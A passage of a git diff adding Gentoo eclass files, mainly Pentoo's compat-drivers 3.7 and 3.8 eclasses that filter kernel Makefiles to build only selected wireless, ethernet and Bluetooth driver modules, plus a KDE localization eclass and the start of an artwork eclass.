select_ath_driver_common || die + disable ath9k_rate_control || die + ;; + carl9170) + disable staging usbnet ethernet bt update-initramfs var_03 || die + select_drivers CONFIG_ATH_COMMON || die + select_ath_driver CONFIG_CARL9170 || die + select_ath_driver_common || die + ;; + ath9k_htc) + disable staging usbnet ethernet bt update-initramfs var_03 || die + select_drivers CONFIG_ATH_COMMON || die + select_ath_driver CONFIG_ATH9K_HW || die + select_ath_driver_common || die + ;; + ath6kl) + disable staging usbnet ethernet bt update-initramfs var_03 || die + select_drivers CONFIG_ATH_COMMON || die + select_ath_driver CONFIG_ATH6KL || die + select_ath_driver_common || die + ;; + brcmsmac) + disable staging usbnet ethernet bt update-initramfs var_03 || die + select_drivers CONFIG_BRCMSMAC || die + select_brcm80211_driver CONFIG_BRCMSMAC CONFIG_BRCMUTIL || die + ;; + brcmfmac) + disable staging usbnet ethernet bt update-initramfs var_03 || die + select_drivers CONFIG_BRCMFMAC || die + select_brcm80211_driver CONFIG_BRCMSMAC CONFIG_BRCMUTIL || die + ;; + zd1211rw) + select_drivers CONFIG_COMPAT_ZD1211RW || die + disable staging lib80211 ssb bcma usbnet eeprom update-initramfs || die + ;; + b43) + disable staging usbnet ethernet bt update-initramfs || die + disable eeprom lib80211 || die + select_drivers CONFIG_B43 || die + ;; + rt2x00) + select_drivers CONFIG_RT2X00 || die + disable staging usbnet ethernet bt update-initramfs || die + disable lib80211 ssb bcma usbnet update-initramfs || die + ;; + wl1251) + select_ti_drivers CONFIG_WL1251 || die + disable staging lib80211 ssb bcma usbnet eeprom update-initramfs || die + ;; + wl12xx) + select_ti_drivers CONFIG_WL12XX || die + disable staging lib80211 ssb bcma usbnet eeprom update-initramfs || die + ;; + wl18xx) + select_ti_drivers CONFIG_WL18XX || die + disable staging lib80211 ssb bcma usbnet eeprom update-initramfs || die + ;; + # Ethernet and Bluetooth drivers + atl1) + disable staging usbnet var_03 bt rfkill 80211 b44 || die + echo -e "obj-\$(CONFIG_ATL1) += atlx/" > "$(get_makefile DRIVERS_NET_ATHEROS)" || die + ;; + atl2) + disable staging usbnet var_03 bt rfkill 80211 b44 || die + echo -e "obj-\$(CONFIG_ATL2) += atlx/" > "$(get_makefile DRIVERS_NET_ATHEROS)" || die + ;; + atl1e) + disable staging usbnet var_03 bt rfkill 80211 b44 || die + echo -e "obj-\$(CONFIG_ATL1E) += atl1e/" > "$(get_makefile DRIVERS_NET_ATHEROS)" || die + ;; + atl1c) + disable staging usbnet var_03 bt rfkill 80211 b44 || die + echo -e "obj-\$(CONFIG_ATL1C) += atl1c/" > "$(get_makefile DRIVERS_NET_ATHEROS)" || die + ;; + atlxx) + select_drivers CONFIG_ATL1 CONFIG_ATL2 CONFIG_ATL1E CONFIG_ALX || die + disable staging usbnet var_03 bt rfkill 80211 b44 update-initramfs || die + ;; + bt) + select_drivers CONFIG_BT || die + disable ssb bcma usbnet eeprom update-initramfs ethernet staging 80211 || die + ;; + i915) + # rfkill may be needed if you enable b44 as you may have b43 + disable ethernet staging usbnet var_03 bt rfkill 80211 || die + ;; + drm) + # rfkill may be needed if you enable b44 as you may have b43 + disable ethernet staging usbnet var_03 bt rfkill 80211 || die + ;; + # Manually added options by pentoo + usbnet) + # disable everything else + disable staging update-initramfs lib80211 b44 ssb bcma rfkill eeprom ethernet var_03 bt 80211 ath9k_rate_control || die + ;; + staging) + # disable everything else + disable usbnet update-initramfs lib80211 b44 ssb bcma rfkill eeprom ethernet var_03 bt 80211 ath9k_rate_control || die + ;; + b44) + disable staging usbnet ethernet bt update-initramfs || die + disable eeprom lib80211 || die + select_drivers CONFIG_B44 || die + ;; + *) + die "Unsupported driver: ${1}" + exit + ;; + esac +} + +# @FUNCTION: echo_flag_settings +# @DESCRIPTION: +# This internal function outputs the "disable" actions for a flag +function echo_flag_settings { + # example: + # CPD_DISABLE_${iflag}="action1 action2" + # CPD_DRIVERS_MAKEFILE="flag1 flag1" + # CPD_ATH_MAKEFILE="flag3" + # ... + local iflag=$1 + eval "local disable_list=\"\${CPD_DISABLE_${iflag}}\"" || die + einfo "Disable list for ${iflag}: ${disable_list}" +} + +# ============================================================================== +# EXPORTED FUNCTIONS +# ============================================================================== + +# @FUNCTION: compat-drivers-3.7_src_configure +# @DESCRIPTION: +# This function reads the configuration (disable-actions and filters) for each +# single active flag, then constructs and applies the common configuration set. +compat-drivers-3.7_src_configure() { + # early exit, skip filtering of configuration and build all modules + if use build-all-modules; then + ewarn "You have chosen to build all modules!" + ewarn "The Pentoo team strives to build only the desired modules and the" + ewarn "use flag 'build-all-modules' should only be used when" + ewarn "the desired modules is not available through another flag." + ewarn "Please open an issue at the Pentoo site and let us know which" + ewarn "module was missing!" + return 0 + fi + + # loop over all modules + local use_temp='' + local use_enabled_list='' + for useexp in ${CPD_USE_EXPAND}; do + use_temp="\$CPD_USE_EXPAND_$useexp" || die + for iuse in `eval echo "\$use_temp"`; do + if [ "${iuse:0:1}" = '+' ]; then + local iuse2=${iuse:1} || die + else + local iuse2=${iuse} || die + fi + local iflag="compat_drivers_${useexp}_${iuse2}" || die + # check if it's enabled + if use "${iflag}"; then + use_enabled_list+=" ${iuse2}" || die + # fill the disable/enable lists + # example: + # CPD_DISABLE_${iflag}="action1 action2" + # CPD_DRIVERS_MAKEFILE="flag1 flag1" + # CPD_ATH_MAKEFILE="flag3" + # ... + set_flag "${iuse2}" || die + echo_flag_settings "${iuse2}" || die + fi + done + done + einfo "List of enabled modules: ${use_enabled_list}" + # compose common disable list for all flags + # 1st module/flag + local iuse1="$(echo $use_enabled_list | cut -d ' ' -f 1)" || die + eval "local disable_list=\$CPD_DISABLE_${iuse1}" || die + for iuse in ${use_enabled_list}; do + if [ "${iuse}" != "${iuse1}" ]; then + local disable_list_new='' || die + eval "local disable_list_other=\$CPD_DISABLE_${iuse}" || die + for dis in ${disable_list}; do + has "${dis}" ${disable_list_other} && \ + disable_list_new+=" ${dis}" + done + disable_list="${disable_list_new}" || die + fi + done + # execute all filters for the Makefiles + for file in ${CPD_MAKEFILES}; do + eval "local filter_list=\$CPD_${file}" || die + if [ -n "${filter_list}" ]; then + # einfo "Filtering $(get_makefile ${file}) for: ${filter_list}" + select_drivers_from_makefile "${file}" "${filter_list}" || die + fi + done + # execute common disable list + einfo "Common disable list: ${disable_list}" + for dis in ${disable_list}; do + einfo "Running disable function: disable_${dis}" + eval "disable_${dis}" || die + done +} + +EXPORT_FUNCTIONS src_configure || die diff --git a/eclass/compat-drivers-3.8-r1.eclass b/eclass/compat-drivers-3.8-r1.eclass new file mode 100644 index 00000000..f01faa83 --- /dev/null +++ b/eclass/compat-drivers-3.8-r1.eclass @@ -0,0 +1,104 @@ +# Copyright 1999-2013 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + + +# @ECLASS: compat-drivers-3.8-r1.eclass +# @MAINTAINER: +# wuodan@pentoo.ch +# @BLURB: Implements functionality of driver-select script for several modules +# @DESCRIPTION: +# Implements functionality of driver-select script for several modules +# needs a modified version of the driver-select file! + +# compose IUSE and REQUIRED_USE from the categories +IUSE+=" +build-all-modules" +REQUIRED_USE+=" || (" +for useexp in ${CPD_USE_EXPAND}; do + USE_TEMP="\$CPD_USE_EXPAND_$useexp" + for iuse in `eval echo "\$USE_TEMP"`; do + if [ "${iuse:0:1}" = '+' ]; then + IUSE+=" ${iuse:0:1}compat_drivers_${useexp}_${iuse:1}" || die + REQUIRED_USE+=" compat_drivers_${useexp}_${iuse:1}" || die + else + IUSE+=" compat_drivers_${useexp}_${iuse}" || die + REQUIRED_USE+=" compat_drivers_${useexp}_${iuse} build-all-modules" || die + fi + done +done +REQUIRED_USE+=" )" + +# ============================================================================== +# INTERNAL VARIABLES +# ============================================================================== + +# @VARIABLE: CPD_USE_EXPAND +# @DESCRIPTION: +# This variable needs to be set in the ebuild and contains the categories for +# USE_EXPAND + +# @VARIABLE: CPD_USE_EXPAND_category +# @DESCRIPTION: +# These variables need to be set in the ebuild, one per category in +# CPD_USE_EXPAND. They contain the modules of the categories. + +# @ECLASS-VARIABLE: CPD_MODULE +# @DESCRIPTION: +# This internal variable contains a temporary value, the currently processed +# module. + +# @ECLASS-VARIABLE: CPD_DISABLE_${CPD_MODULE} +# @DESCRIPTION: +# These internal variables contains values, the 'disable-actions' of the +# currently processed module. One variable exists for each active module. + +# ============================================================================== +# INTERNAL FUNCTIONS +# ============================================================================== + +# ============================================================================== +# EXPORTED FUNCTIONS +# ============================================================================== + +# @FUNCTION: compat-drivers-3.8-r1_src_configure +# @DESCRIPTION: +# This function reads the configuration (disable-actions and filters) for each +# single active flag, then constructs and applies the common configuration set. +compat-drivers-3.8-r1_src_configure() { + # early exit, skip filtering of configuration and build all modules + if use build-all-modules; then + ewarn "You have chosen to build all modules!" + ewarn "The Pentoo team strives to build only the desired modules and the" + ewarn "use flag 'build-all-modules' should only be used when" + ewarn "the desired modules is not available through another flag." + ewarn "Please open an issue at the Pentoo site and let us know which" + ewarn "module was missing!" + return 0 + fi + + # loop over all modules + local use_temp='' + local use_enabled_list='' + for useexp in ${CPD_USE_EXPAND}; do + use_temp="\$CPD_USE_EXPAND_$useexp" || die + for iuse in `eval echo "\$use_temp"`; do + if [ "${iuse:0:1}" = '+' ]; then + local iuse2=${iuse:1} || die + else + local iuse2=${iuse} || die + fi + local iflag="compat_drivers_${useexp}_${iuse2}" || die + # check if it's enabled + if use "${iflag}"; then + use_enabled_list+=" ${iuse2}" || die + fi + done + done + einfo "List of enabled modules: ${use_enabled_list}" + + # Call the modified driver-select script + scripts/driver-select -q ${use_enabled_list} || \ + die "driver-select failed. This file was edited by Pentoo" +} + +EXPORT_FUNCTIONS src_configure || die diff --git a/eclass/compat-drivers-3.8.eclass b/eclass/compat-drivers-3.8.eclass new file mode 100644 index 00000000..e517f527 --- /dev/null +++ b/eclass/compat-drivers-3.8.eclass @@ -0,0 +1,560 @@ +# Copyright 1999-2013 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + + +# @ECLASS: compat-drivers-3.8.eclass +# @MAINTAINER: +# wuodan@pentoo.ch +# @BLURB: Implements functionality of driver-select script for several modules +# @DESCRIPTION: +# Implements functionality of driver-select script for several modules + +# compose IUSE and REQUIRED_USE from the categories +IUSE+=" +build-all-modules" +REQUIRED_USE+=" || (" +for useexp in ${CPD_USE_EXPAND}; do + USE_TEMP="\$CPD_USE_EXPAND_$useexp" + for iuse in `eval echo "\$USE_TEMP"`; do + if [ "${iuse:0:1}" = '+' ]; then + IUSE+=" ${iuse:0:1}compat_drivers_${useexp}_${iuse:1}" || die + REQUIRED_USE+=" compat_drivers_${useexp}_${iuse:1}" || die + else + IUSE+=" compat_drivers_${useexp}_${iuse}" || die + REQUIRED_USE+=" compat_drivers_${useexp}_${iuse} build-all-modules" || die + fi + done +done +REQUIRED_USE+=" )" + +# ============================================================================== +# INTERNAL VARIABLES +# ============================================================================== + +# @VARIABLE: CPD_USE_EXPAND +# @DESCRIPTION: +# This variable needs to be set in the ebuild and contains the categories for +# USE_EXPAND + +# @VARIABLE: CPD_USE_EXPAND_category +# @DESCRIPTION: +# These variables need to be set in the ebuild, one per category in +# CPD_USE_EXPAND. They contain the modules of the categories. + +# @ECLASS-VARIABLE: CPD_MODULE +# @DESCRIPTION: +# This internal variable contains a temporary value, the currently processed +# module. + +# @ECLASS-VARIABLE: CPD_DISABLE_${CPD_MODULE} +# @DESCRIPTION: +# These internal variables contains values, the 'disable-actions' of the +# currently processed module. One variable exists for each active module. + +# @ECLASS-VARIABLE: CPD_MAKEFILES +# @DESCRIPTION: +# This internal variable contains a list of all 'Makefile's +CPD_MAKEFILES=" + MAKEFILE + COMPAT_CONFIG_CW + DRIVERS_MAKEFILE + ATH_MAKEFILE + ATH9K_MAKEFILE + BRCM80211_MAKEFILE + RT2X00_MAKEFILE + TI_MAKEFILE + NET_WIRELESS_MAKEFILE + EEPROM_MAKEFILE + DRIVERS_NET_ATHEROS + DRIVERS_NET_BROADCOM + DRIVERS_NET_USB_MAKEFILE + SSB_MAKEFILE + BCMA_MAKEFILE" + +# @ECLASS-VARIABLE: CPD_MAKEFILES_ARRAY +# @DESCRIPTION: +# This internal variable contains an array with paths to all files +CPD_MAKEFILES_ARRAY=( + MAKEFILE=Makefile + COMPAT_CONFIG_CW=config.mk + DRIVERS_MAKEFILE=drivers/net/wireless/Makefile + ATH_MAKEFILE=drivers/net/wireless/ath/Makefile + ATH9K_MAKEFILE=drivers/net/wireless/ath/ath9k/Makefile + BRCM80211_MAKEFILE=drivers/net/wireless/brcm80211/Makefile + RT2X00_MAKEFILE=drivers/net/wireless/rt2x00/Makefile + TI_MAKEFILE=drivers/net/wireless/ti/Makefile + NET_WIRELESS_MAKEFILE=net/wireless/Makefile + EEPROM_MAKEFILE=drivers/misc/eeprom/Makefile + DRIVERS_NET_ATHEROS=drivers/net/ethernet/atheros/Makefile + DRIVERS_NET_BROADCOM=drivers/net/ethernet/broadcom/Makefile + DRIVERS_NET_USB_MAKEFILE=drivers/net/usb/Makefile + SSB_MAKEFILE=drivers/ssb/Makefile + BCMA_MAKEFILE=drivers/bcma/Makefile +) + +# ============================================================================== +# INTERNAL FUNCTIONS +# ============================================================================== + +# @FUNCTION: get_makefile +# @DESCRIPTION: +# This internal function returns the path to a file from CPD_MAKEFILES_ARRAY +function get_makefile { + for file in "${CPD_MAKEFILES_ARRAY[@]}"; do + if [ "${file%%=*}" = "${1}" ]; then + echo "${file#*=}" + return 0 + fi + done + die "Not found" +} + +# @FUNCTION: select_drivers_from_makefile +# @DESCRIPTION: +# This internal function filters a Makefile +# It deletes all non matching lines! +function select_drivers_from_makefile +{ + local makefile=$(get_makefile "$1") + shift + local configs="" + for i in $@; do + [ "${configs}" != '' ] && configs+='|' + configs+="${i}" + done + einfo "Filtering file ${makefile} for: ${configs}" + sed -r "/${configs}/!d" ${makefile} > ${makefile}.tmp || die + mv ${makefile}.tmp ${makefile} || die +} + +# @FUNCTION: disable +# @DESCRIPTION: +# This internal function registers a 'disable' action for a module. +# It writes to a variable CPD_DISABLE_${CPD_MODULE} +function disable { + eval "CPD_DISABLE_${CPD_MODULE}+=\" ${*}\"" || die +} + +# @FUNCTION: disable_makefile +# @DESCRIPTION: +# This internal function clears a Makefile completely. Use with care! +function disable_makefile { + einfo "Clearing entire file: ${1}" + echo > $1 || die +} + +# @FUNCTION: disable_staging +# @DESCRIPTION: +# This internal function disables "staging" +function disable_staging +{ + # perl -i -ne 'print if ! /CONFIG_COMPAT_STAGING/ ' "${MAKEFILE}" + sed -i '/CONFIG_COMPAT_STAGING/d' "$(get_makefile MAKEFILE)" || die +} + +# @FUNCTION: disable_update-initramfs +# @DESCRIPTION: +# This internal function disables "update-initramfs" +function disable_update-initramfs +{ + # perl -i -ne 'print if ! /update-initramfs/' "${MAKEFILE}" + sed -i '/update-initramfs/d' "$(get_makefile MAKEFILE)" || die +} + +# @FUNCTION: disable_lib80211 +# @DESCRIPTION: +# This internal function disables "lib80211" +function disable_lib80211 +{ + # perl -i -ne 'print if ! /LIB80211/ ' $NET_WIRELESS_MAKEFILE + sed -i '/LIB80211/d' "$(get_makefile NET_WIRELESS_MAKEFILE)" || die +} + +# @FUNCTION: disable_b44 +# @DESCRIPTION: +# This internal function disables "b44" +function disable_b44 { + # perl -i -ne 'print if ! /CONFIG_B44/ ' $DRIVERS_NET_BROADCOM + sed -i '/CONFIG_B44/d' "$(get_makefile DRIVERS_NET_BROADCOM)" || die +} + +# @FUNCTION: disable_ssb +# @DESCRIPTION: +# This internal function disables "ssb" +function disable_ssb +{ + disable_makefile "$(get_makefile ${SSB_MAKEFILE})" + # perl -i -ne 'print if ! /drivers\/ssb\//' "${MAKEFILE}" + sed -i '/drivers\/ssb\//d' "$(get_makefile MAKEFILE)" || die +} + +# @FUNCTION: disable_bcma +# @DESCRIPTION: +# This internal function disables "bcma" +function disable_bcma +{ + disable_makefile "$(get_makefile ${BCMA_MAKEFILE})" + # perl -i -ne 'print if ! /drivers\/bcma\//' "${MAKEFILE}" + sed -i '/drivers\/bcma\//d' "$(get_makefile MAKEFILE)" || die +} + +# @FUNCTION: disable_rfkill +# @DESCRIPTION: +# This internal function disables "rfkill" +function disable_rfkill +{ + # perl -i -ne 'print if ! /CONFIG_COMPAT_RFKILL/' "${MAKEFILE}" + sed -i '/CONFIG_COMPAT_RFKILL/d' "$(get_makefile MAKEFILE)" || die +} + +# @FUNCTION: disable_eprom +# @DESCRIPTION: +# This internal function disables "eprom" +function disable_eeprom +{ + disable_makefile "$(get_makefile ${EEPROM_MAKEFILE})" || die + # perl -i -ne 'print if ! /drivers\/misc\/eeprom\//' "${MAKEFILE}" + sed -i '/drivers\/misc\/eeprom\//d' "$(get_makefile MAKEFILE)" || die +} + +# @FUNCTION: disable_usbnet +# @DESCRIPTION: +# This internal function disables "usbnet" +function disable_usbnet +{ + disable_makefile ${DRIVERS_NET_USB_MAKEFILE} || die + # perl -i -ne 'print if ! /drivers\/net\/usb\//' "${MAKEFILE}" + sed -i '/drivers\/net\/usb\//d' "$(get_makefile MAKEFILE)" || die +} + +# @FUNCTION: disable_usbnet +# @DESCRIPTION: +# This internal function disables "usbnet" +# this function is twice in driver-select script!?! +function disable_usbnet { + # perl -i -ne 'print if ! /CONFIG_COMPAT_NET_USB_MODULES/' "${MAKEFILE}" + sed -i '/CONFIG_COMPAT_NET_USB_MODULES/d' "$(get_makefile MAKEFILE)" || die +} + +# @FUNCTION: disable_ethernet +# @DESCRIPTION: +# This internal function disables "ethernet" +function disable_ethernet { + # perl -i -ne 'print if ! /CONFIG_COMPAT_NETWORK_MODULES/' "${MAKEFILE}" + sed -i '/CONFIG_COMPAT_NETWORK_MODULES/d' "$(get_makefile MAKEFILE)" || die +} + +# @FUNCTION: disable_var_03 +# @DESCRIPTION: +# This internal function disables "var_03" +function disable_var_03 { + # perl -i -ne 'print if ! /CONFIG_COMPAT_VAR_MODULES/' "${MAKEFILE}" + sed -i '/CONFIG_COMPAT_VAR_MODULES/d' "$(get_makefile MAKEFILE)" || die +} + +# @FUNCTION: disable_bt +# @DESCRIPTION: +# This internal function disables "bt" +function disable_bt { + # perl -i -ne 'print if ! /CONFIG_COMPAT_BLUETOOTH/' "${MAKEFILE}" + sed -i '/CONFIG_COMPAT_BLUETOOTH/d' "$(get_makefile MAKEFILE)" || die +} + +# @FUNCTION: disable_80211 +# @DESCRIPTION: +# This internal function disables "80211" +function disable_80211 { + # perl -i -ne 'print if ! /CONFIG_COMPAT_WIRELESS/' "${MAKEFILE}" + sed -i '/CONFIG_COMPAT_WIRELESS/d' "$(get_makefile MAKEFILE)" || die +} + +# @FUNCTION: disable_drm +# @DESCRIPTION: +# This internal function disables "drm" +function disable_drm { + # perl -i -ne 'print if ! /CONFIG_COMPAT_VIDEO_MODULES/' "${MAKEFILE}" + sed -i '/CONFIG_COMPAT_VIDEO_MODULES/d' "$(get_makefile MAKEFILE)" || die +} + +# @FUNCTION: disable_ath9k_rate_control +# @DESCRIPTION: +# This internal function disables "ath9k_rate_control" +# new function, not in driver-select +function disable_ath9k_rate_control { + # perl -i -ne 'print if ! /CONFIG_COMPAT_ATH9K_RATE_CONTROL/ ' $COMPAT_CONFIG_CW + sed -i '/CONFIG_COMPAT_ATH9K_RATE_CONTROL/d' "$(get_makefile COMPAT_CONFIG_CW)" || die +} + +# @FUNCTION: select_drivers +# @DESCRIPTION: +# This internal function registers filters for the drivers Makefile +function select_drivers { + eval "CPD_DRIVERS_MAKEFILE+=\" ${*}\"" || die +} + +# @FUNCTION: select_ath_driver +# @DESCRIPTION: +# This internal function registers filters for the ath Makefile +function select_ath_driver { + eval "CPD_ATH_MAKEFILE+=\" ${*}\"" || die +} + +# @FUNCTION: select_ath_driver_common +# @DESCRIPTION: +# This internal function registers common filters for the ath Makefile +function select_ath_driver_common { + # eval "CPD_ATH_MAKEFILE+=\" CONFIG_ATH_ ath-objs regd.o hw.o\"" || die + select_ath_driver CONFIG_ATH_ ath-objs regd.o hw.o key.o || die +} + +# @FUNCTION: select_brcm80211_driver +# @DESCRIPTION: +# This internal function registers filters for the brcm80211 Makefile +function select_brcm80211_driver { + eval "CPD_BRCM80211_MAKEFILE+=\" ${*}\"" || die +} + +# @FUNCTION: select_ti_driver +# @DESCRIPTION: +# This internal function registers filters for the ti Makefile +function select_ti_drivers { + select_drivers CONFIG_WL_TI + eval "CPD_TI_MAKEFILE+=\" ${*}\"" || die +} + +# @FUNCTION: set_flag +# @DESCRIPTION: +# This internal function contains the configuration for each flag/module +function set_flag { + # clear/set global vars + CPD_MODULE=$1 + case $1 in + ath5k) + disable staging usbnet ethernet bt update-initramfs var_03 drm || die + select_drivers CONFIG_ATH_CARDS || die + select_ath_driver CONFIG_ATH5K || die + select_ath_driver_common || die + ;; + ath9k) + disable staging usbnet ethernet bt update-initramfs var_03 drm || die + select_drivers CONFIG_ATH_CARDS || die + select_ath_driver CONFIG_ATH9K_HW || die + select_ath_driver_common || die + ;; + ath9k_ap) + disable staging usbnet ethernet bt update-initramfs var_03 drm || die + select_drivers CONFIG_ATH_CARDS || die + select_ath_driver CONFIG_ATH9K_HW || die + select_ath_driver_common || die + disable ath9k_rate_control || die + ;; + carl9170) + disable staging usbnet ethernet bt update-initramfs var_03 drm || die + select_drivers CONFIG_ATH_CARDS || die + select_ath_driver CONFIG_CARL9170 || die + select_ath_driver_common || die + ;; + ath9k_htc) + disable staging usbnet ethernet bt update-initramfs var_03 drm || die + select_drivers CONFIG_ATH_CARDS || die + select_ath_driver CONFIG_ATH9K_HW || die + select_ath_driver_common || die + ;; + ath6kl) + disable staging usbnet ethernet bt update-initramfs var_03 drm || die + select_drivers CONFIG_ATH_CARDS || die + select_ath_driver CONFIG_ATH6KL || die + select_ath_driver_common || die + ;; + wil6210) + disable staging usbnet ethernet bt update-initramfs var_03 drm || die + select_drivers CONFIG_ATH_CARDS || die + select_ath_driver CONFIG_WIL6210 || die + ;; + brcmsmac) + disable staging usbnet ethernet bt update-initramfs var_03 drm || die + select_drivers CONFIG_BRCMSMAC || die + select_brcm80211_driver CONFIG_BRCMSMAC CONFIG_BRCMUTIL || die + ;; + brcmfmac) + disable staging usbnet ethernet bt update-initramfs var_03 drm || die + select_drivers CONFIG_BRCMFMAC || die + select_brcm80211_driver CONFIG_BRCMSMAC CONFIG_BRCMUTIL || die + ;; + zd1211rw) + select_drivers CONFIG_COMPAT_ZD1211RW || die + disable staging lib80211 ssb bcma usbnet eeprom update-initramfs || die + ;; + b43) + disable staging usbnet ethernet bt update-initramfs || die + disable eeprom lib80211 || die + select_drivers CONFIG_B43 || die + ;; + rt2x00) + select_drivers CONFIG_RT2X00 || die + disable staging usbnet ethernet bt update-initramfs || die + disable lib80211 ssb bcma usbnet update-initramfs || die + ;; + wl1251) + select_ti_drivers CONFIG_WL1251 || die + disable staging lib80211 ssb bcma usbnet eeprom update-initramfs || die + ;; + wl12xx) + select_ti_drivers CONFIG_WL12XX || die + disable staging lib80211 ssb bcma usbnet eeprom update-initramfs || die + ;; + wl18xx) + select_ti_drivers CONFIG_WL18XX || die + disable staging lib80211 ssb bcma usbnet eeprom update-initramfs || die + ;; + # Ethernet and Bluetooth drivers + atl1) + disable staging usbnet var_03 drm bt rfkill 80211 b44 || die + echo -e "obj-\$(CONFIG_ATL1) += atlx/" > "$(get_makefile DRIVERS_NET_ATHEROS)" || die + ;; + atl2) + disable staging usbnet var_03 drm bt rfkill 80211 b44 || die + echo -e "obj-\$(CONFIG_ATL2) += atlx/" > "$(get_makefile DRIVERS_NET_ATHEROS)" || die + ;; + atl1e) + disable staging usbnet var_03 drm bt rfkill 80211 b44 || die + echo -e "obj-\$(CONFIG_ATL1E) += atl1e/" > "$(get_makefile DRIVERS_NET_ATHEROS)" || die + ;; + atl1c) + disable staging usbnet var_03 drm bt rfkill 80211 b44 || die + echo -e "obj-\$(CONFIG_ATL1C) += atl1c/" > "$(get_makefile DRIVERS_NET_ATHEROS)" || die + ;; + alx) + disable staging usbnet var_03 drm bt rfkill 80211 b44 || die + echo -e "obj-\$(CONFIG_ALX) += alx/" > "$(get_makefile DRIVERS_NET_ATHEROS)" || die + ;; + atlxx) + select_drivers CONFIG_ATL1 CONFIG_ATL2 CONFIG_ATL1E CONFIG_ALX || die + disable staging usbnet var_03 drm bt rfkill 80211 b44 update-initramfs || die + ;; + bt) + select_drivers CONFIG_BT || die + disable ssb bcma usbnet eeprom update-initramfs ethernet staging 80211 || die + ;; + i915) + # rfkill may be needed if you enable b44 as you may have b43 + disable ethernet staging usbnet var_03 bt rfkill 80211 || die + ;; + drm) + # rfkill may be needed if you enable b44 as you may have b43 + disable ethernet staging usbnet var_03 bt rfkill 80211 || die + ;; + # Manually added options by pentoo + usbnet) + # disable everything else + disable staging update-initramfs lib80211 b44 ssb bcma rfkill eeprom ethernet var_03 bt 80211 ath9k_rate_control || die + ;; + staging) + # disable everything else + disable usbnet update-initramfs lib80211 b44 ssb bcma rfkill eeprom ethernet var_03 bt 80211 ath9k_rate_control || die + ;; + b44) + disable staging usbnet ethernet bt update-initramfs || die + disable eeprom lib80211 || die + select_drivers CONFIG_B44 || die + ;; + *) + die "Unsupported driver: ${1}" + exit + ;; + esac +} + +# @FUNCTION: echo_flag_settings +# @DESCRIPTION: +# This internal function outputs the "disable" actions for a flag +function echo_flag_settings { + # example: + # CPD_DISABLE_${iflag}="action1 action2" + # CPD_DRIVERS_MAKEFILE="flag1 flag1" + # CPD_ATH_MAKEFILE="flag3" + # ... + local iflag=$1 + eval "local disable_list=\"\${CPD_DISABLE_${iflag}}\"" || die + einfo "Disable list for ${iflag}: ${disable_list}" +} + +# ============================================================================== +# EXPORTED FUNCTIONS +# ============================================================================== + +# @FUNCTION: compat-drivers-3.8_src_configure +# @DESCRIPTION: +# This function reads the configuration (disable-actions and filters) for each +# single active flag, then constructs and applies the common configuration set. +compat-drivers-3.8_src_configure() { + # early exit, skip filtering of configuration and build all modules + if use build-all-modules; then + ewarn "You have chosen to build all modules!" + ewarn "The Pentoo team strives to build only the desired modules and the" + ewarn "use flag 'build-all-modules' should only be used when" + ewarn "the desired modules is not available through another flag." + ewarn "Please open an issue at the Pentoo site and let us know which" + ewarn "module was missing!" + return 0 + fi + + # loop over all modules + local use_temp='' + local use_enabled_list='' + for useexp in ${CPD_USE_EXPAND}; do + use_temp="\$CPD_USE_EXPAND_$useexp" || die + for iuse in `eval echo "\$use_temp"`; do + if [ "${iuse:0:1}" = '+' ]; then + local iuse2=${iuse:1} || die + else + local iuse2=${iuse} || die + fi + local iflag="compat_drivers_${useexp}_${iuse2}" || die + # check if it's enabled + if use "${iflag}"; then + use_enabled_list+=" ${iuse2}" || die + # fill the disable/enable lists + # example: + # CPD_DISABLE_${iflag}="action1 action2" + # CPD_DRIVERS_MAKEFILE="flag1 flag1" + # CPD_ATH_MAKEFILE="flag3" + # ... + set_flag "${iuse2}" || die + echo_flag_settings "${iuse2}" || die + fi + done + done + einfo "List of enabled modules: ${use_enabled_list}" + # compose common disable list for all flags + # 1st module/flag + local iuse1="$(echo $use_enabled_list | cut -d ' ' -f 1)" || die + eval "local disable_list=\$CPD_DISABLE_${iuse1}" || die + for iuse in ${use_enabled_list}; do + if [ "${iuse}" != "${iuse1}" ]; then + local disable_list_new='' || die + eval "local disable_list_other=\$CPD_DISABLE_${iuse}" || die + for dis in ${disable_list}; do + has "${dis}" ${disable_list_other} && \ + disable_list_new+=" ${dis}" + done + disable_list="${disable_list_new}" || die + fi + done + # execute all filters for the Makefiles + for file in ${CPD_MAKEFILES}; do + eval "local filter_list=\$CPD_${file}" || die + if [ -n "${filter_list}" ]; then + # einfo "Filtering $(get_makefile ${file}) for: ${filter_list}" + select_drivers_from_makefile "${file}" "${filter_list}" || die + fi + done + # execute common disable list + einfo "Common disable list: ${disable_list}" + for dis in ${disable_list}; do + einfo "Running disable function: disable_${dis}" + eval "disable_${dis}" || die + done +} + +EXPORT_FUNCTIONS src_configure || die diff --git a/eclass/kde-l10n.eclass b/eclass/kde-l10n.eclass new file mode 100644 index 00000000..100db755 --- /dev/null +++ b/eclass/kde-l10n.eclass @@ -0,0 +1,32 @@ +# Copyright 2004-2012 Sabayon +# Distributed under the terms of the GNU General Public License v2 +# $ + +inherit base kde4-base + +MY_LANG="${PN/kde-l10n-/}" + +# export all the available functions here +EXPORT_FUNCTIONS src_prepare src_configure + +L10N_NAME="${L10N_NAME:-${MY_LANG}}" +DESCRIPTION="KDE4 ${L10N_NAME} localization package" +HOMEPAGE="http://www.kde.org/" +LICENSE="GPL-2" + +KEYWORDS="~amd64 ~x86" +DEPEND=">=sys-devel/gettext-0.15" +RDEPEND="" +IUSE="+handbook" + +kde-l10n_src_prepare() { + # override kde4-base_src_prepare which + # fails at enable_selected_doc_linguas + base_src_prepare +} + +kde-l10n_src_configure() { + mycmakeargs="${mycmakeargs} + $(cmake-utils_use_build handbook docs)" + kde4-base_src_configure +} diff --git a/eclass/kogaion-artwork.eclass b/eclass/kogaion-artwork.eclass new file mode 100644 index 00000000..e537c9e8 --- /dev/null +++ b/eclass/kogaion-artwork.eclass @@ -0,0 +1,62 @@ +# Copyright 2004-2009 Sabayon Project +# Copyright 2012 Rogentos +# Distributed under the terms of the GNU General Public License v2 +# Original Authors: Sabayon Team +# Maintainer BlackNoxis +# $ + +inherit eutils + +# @ECLASS-VARIABLE: KERN_INITRAMFS_SEARCH_NAME +# @DESCRIPTION: +# Argument used by `find` to search inside ${ROOT}boot Linux +# Kernel initramfs files to patch +KERN_INITRAMFS_SEARCH_NAME="${KERN_INITRAMFS_SEARCH_NAME:-initramfs-genkernel*}" + +# @ECLASS-VARIABLE: GFX_SPLASH_NAME +# 